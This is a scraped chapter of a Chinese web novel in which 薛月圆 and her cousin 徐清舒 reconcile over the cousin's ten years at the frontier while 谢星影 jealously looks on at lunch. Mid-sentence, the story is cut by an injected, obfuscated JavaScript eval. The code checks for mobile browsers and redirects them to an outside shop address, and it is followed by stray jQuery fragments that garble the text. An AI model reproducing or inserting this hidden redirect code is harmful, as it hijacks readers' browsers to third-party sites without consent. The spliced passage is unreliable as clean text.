文趣网 > 都市小说 > 赴京这件小事 > 83. 交心
    薛月圆接过茶盏轻抿一口,脸上神色似懂非懂。

    她笑了一下,道:“我还以为,昨日见阿姐轻轻松松便能唤来两名侍卫,府内的人应当更多呢。”

    徐清舒坐在两人对面,她的姿势舒展,背挺得笔直:“小月进来的时候,应该看到徐府的牌匾和大门了吧?”

    薛月圆点了点头,眼眸微弯:“是不是重新修葺过了?可漂亮了。”

    “对,我回京城后,便拿出了一笔钱请人重新修了大门和牌匾。”徐清舒说道,“但徐府内却没有怎么大修,只是将我的房间与书房厨房等地方修葺了一遍。”

    谢星影闻言,动作很快地抬眼,扫视了一圈他们此时身处的正厅。

    厅内的确还是一副陈旧的样子,除去新布置的桌椅等外,其余的地方实在称不上新。

    他眼尖地瞧到了一处木柱翘出的地方,大抵是重新修了一下仍未完全修好,也就没有再管了。

    “小月,你看这里。”

    不知是不是徐清舒发觉谢星影望向那木柱的视线,她抬手,随意地朝薛月圆指了一处地方,正好指的就是那里。

    “这里怎么翘起来了?”薛月圆俯身抬手,轻轻按了按那个地方。

    “对我而言,现在的钱要花在刀刃上。”徐清舒淡淡地说,“而最重要的,是面子。”

    风吹过正厅虚掩着的门,木门发出吱呀一声轻响,就像是他们二人赶路那日晚上,在路上随意进的那间古怪寺庙的门一样。

    “我想让所有人都知道,徐府即便剩下了一个姑娘,也会把徐府好好撑起来。”徐清舒的声音透着几分坚韧,“所以,我要先把门面撑起来,再去考虑其他的。”

    她这样说,就仿佛多年前,薛月圆听到徐尚书同她说的话一样。

    徐尚书那时站在徐府中心漂亮的凉亭小道上,他牵着徐清舒的手,很认真地同女儿说:“朝廷中有人提议女子也可入朝为官,圣上十分欣赏这份提议。若是顺利的话,清舒以后长大了,去考学做女官吧。到时候,朝廷中为父就不孤单了。”

    兴许正是从那时起,徐清舒隐隐约约听出来徐尚书对她的期待,她开始把徐府这两个字放在心中。

    而后在边疆十年日复一日的日子里,逐渐变得沉重起来。

    “阿姐,我……”

    “小月,”徐清舒叫住她,打断了她的话,“小月,我和你说这些,不是为了把你绑起来,来和我一起实现我的心愿的。”

    徐清舒眼中透着正式,听完她要说的话之后,薛月圆觉得她的语气似乎都急切了几分。

    而徐清时的面色又是白皙到没有什么血色,淡淡的,这样一想就更觉有趣了。

    薛月圆望着徐清舒一瞬,笑出声来:“阿姐,我不会这样认为的,你不必紧张。”

    “我没有……紧张。”徐清舒略带僵硬地说道。

    “你不紧张?”

    “不紧张。”

    薛月圆看似相信了她的话,只不过下一句又道:“你真的不紧张?”

    这次不光是徐清舒愣了一下,就连一旁的谢星影也没忍住一笑。

    “小月从不会自作多情,是吧?”谢星影一手撑在扶栏上支着头,歪头看向薛月圆说道。

    只不过,就在谢星影以为自己问出了一个几乎没有什么疑议的问题时,却看到薛月圆迟疑了一下。

    她不好意思眨眨眼睛,支吾着说道:“其实也会……”

    也会?难道是在泰州那段时间因为他?

    谢星影依稀还记得,两人在泰州的时候,薛月圆有一段时间十分扭捏。

    不过薛月圆这时看向了徐清舒,她抿了抿唇,很是真诚地、慢慢地问道:“阿姐,我想问你,你会不会怨我?”

    徐清舒很是惊讶:“你为什么这样说?”

    “因为、因为我没有去边疆。”薛月圆说道,“我没有去边疆,明明是我原来的爹爹更加连累了你们,但我却意外逃开了,并且还过得很好。”

    薛月圆说完后,也着急忙慌地又补充了一句:“我的意思不是说,你在边疆就一定很苦,我只是想说,想说……”

    “是很苦。”徐清舒说。

    她的语气很坚定,注视着薛月圆,重复了一遍:“是很苦。”

    话音刚落,谢星影就掀起眼皮,不冷不热地瞥了一眼徐清舒。

    他很快就收回自己的视线,转而略带担忧地看向薛月圆。

    薛月圆彼时愣愣地看着徐清舒,她的嘴唇嗫嚅了一下,还没等她想清楚自己这个时候该说些什么,就听见徐清舒又说:“但是,那又怎么样呢?”

    “经历过的一切,最终都会成为我生命中不可或缺的一部分。”徐清舒话锋一转,“况且,那和你有什么关系?”

    徐清舒眼神称得上剖出了几分犀利地看着她:“小月,你以前没有受过一分好。我们心知肚明,为什么二伯二伯母在那天逃亡路上要把你带走。中途出了意外,你终于从这样的人生中逃了出来,这是一件好事。”

    薛月圆的眼皮渐渐耷拉下来,她的面色松散,眼眸怔怔,看上去是难得的失魂落魄的模样。

    见到她三两句话,就把方才还十分活泼灵动的薛月圆说成这样。谢星影心中涌上来一丝怒气,他抬眼,与徐清舒的眼神对上。

    他拧着眉毛,眼里神色十分凶戾,先前在徐清舒面前装出来的温温柔柔此刻消失殆尽。

    但徐清舒面色淡定,一副心神笃定的样子,朝他微微一笑,随后不再看他。

    在谢星影抬手,轻轻抚了薛月圆的脊背不到三下后,掌下的身子动了动。

    薛月圆将头渐渐抬起来,她先是转头,安抚般地朝谢星影笑了一下,随后看向徐清舒。

    “阿姐。”薛月圆抿唇,露出来一个小小的笑容,“你说得、好对呀。”

    徐清舒唇边的一抹笑加深了一些,她嗯了一声,顺着薛月圆的话道:“所以,我们现在把话说开了,是不是?”

    “是。”薛月圆的笑容是寻常在薛平身边才会露出的柔和听话,她望着徐清舒,眼中透着亲近,“那我先问问你,在边疆的这十年,你是怎么过的?”

    ……

    徐清舒娓娓道来,一点一点将这十年里发生的事情向薛月圆讲述了个大概。

    她从边疆一望无际的荒芜原野,讲到她来到那里的第一步是适应从季节更替。从那边的守卫森严,讲到她每日要做的活计。

    谢星影十分自觉地在午时简单询问了两句,便去了厨房生火烧饭。

    他把做好的菜肴端过来的时候,薛月圆正拉着徐清舒的手看。

    那副认真的模样让谢星影不禁眯了眯眼,轻轻嘶了一声。

    说真的,若不是徐清舒一出现就是以她姐姐的身份,谢星影还真不一定不会对她抱有警惕。

    毕竟他当初可是能思维发散到警惕顾绽的人。

    同龄的不论是男子还是女子,都会让他下意识地警觉。

    小月是这么好的姑娘,他对于她普照他人一事是非常担心的。

    谢星影走到桌

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766565|209717||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    前,不轻不重地把手里的盘子放下,道:“随便用这里的食材做了些吃的,该用午膳了。”

    薛月圆被他打断,松开了徐清舒的手,转而对他道:“多谢你阿影,这看上去可真好吃。”

    “阿姐,先前我们一同来京城的时候,偶尔路上会经过一些村庄和镇子,那里可以烧火做饭,阿影做得可好吃了。”她说完后,又把头扭回来,对着徐清舒一脸骄傲地说道。

    谢星影坐下来,一边为她摆好碗筷,一边露出一个温柔的假笑:“小月是夸大我了,只不过是寻常味道,可她每次都非要夸好吃。我便说那等到时候回了槲州,我也为她做饭,但她又会心疼我,担心我累到了。”

    他张口甜蜜地抱怨着这个所谓的烦恼,好似之前薛月圆沉默的那个片刻,他眼中对徐清舒露出来的凶光被一笔勾销了一样。

    薛月圆不知晓这件事,也没听出来他这句话内隐含着的许多信息,她只是顺着他的话点点头。

    “可好吃了。”薛月圆认真地说。

    徐清舒淡淡地点了点头,拿起筷子夹了一块葱烧豆腐,放入口中咀嚼。

    薛月圆的眼睛微微睁大,澄澈地看着她,像是在等待她的回应。

    而坐在她旁边的谢星影,则在心中轻嗤一声。

    这么聪明的人,他就不信她听不出来这暗示。

    若说他起先还想着做些表面功夫,那等到他眼神凶戾地与徐清舒对视之后,他就懒得再装了。

    因此这时也只是敷衍地笑笑,随后就干脆端起薛月圆的碗,给她盛饭又夹菜。

    而就在他为薛月圆夹过来一块葱烧豆腐的下一瞬,听到徐清舒道:“口感偏老,葱味略微压过了豆腐的香醇,不过瑕不掩瑜。”

    徐清舒的声音十分平淡,她说话向来如此,就连先前和她说起在边疆的事时都是这样淡淡的口吻。

    所以薛月圆根本没觉得有什么,只是辩解了一句:“我觉得还挺好吃的呀。”

    但谢星影很快地笑了一下,他的舌尖用力抵了一下牙齿,觉得徐清舒最后那一句瑕不掩瑜没有任何说出来的必要。

    她想表达什么?

    谢星影在心中不屑地冷笑,随后很快,他就知道她想表达什么了。

    “小月,下次你来,若是想吃这道菜,我做给你吃。”徐清舒还是用那不咸不淡的语气,但谢星影从中听出了非常多的恶意与炫耀,“或是你有什么其余想吃的菜,也可以告诉我。在边疆的那些年,至少我庖厨的能力还是够的。”

    谢星影听完她的这番话,几乎都要怀疑徐清舒是从他这里偷师学艺,这才能说出一番如此有水准的话了。

    又是不着痕迹地贬低,又是卖惨,这不得让薛月圆感动又心疼?

    事实证明,他对薛月圆的了解很恰当。就在徐清舒这句话说完之后,薛月圆果然眉眼软和了不少。

    她伸手轻轻拍了拍徐清舒的手背,声音是谢星影觉得只要不对着他说用这种语气,听起来就会十分刺耳的柔软,即便她只是唤了一声:“阿姐……”

    薛月圆唤出口后,就滞了一下。

    她停顿片刻,才开口道:“你好厉害。”

    薛月圆把口中那些安慰心疼的话咽回腹中,她觉得,徐清舒也并不需要她这些话。

    她试着把那些原本不符合自己的居高临下的怜悯拨除,只是以自己最纯粹的想法去重新想了一下,然后弯起一个大大的笑容:“你好厉害,饭食也能做得这样好吃,等下次我来,一定要在你这里好好点上几道菜。”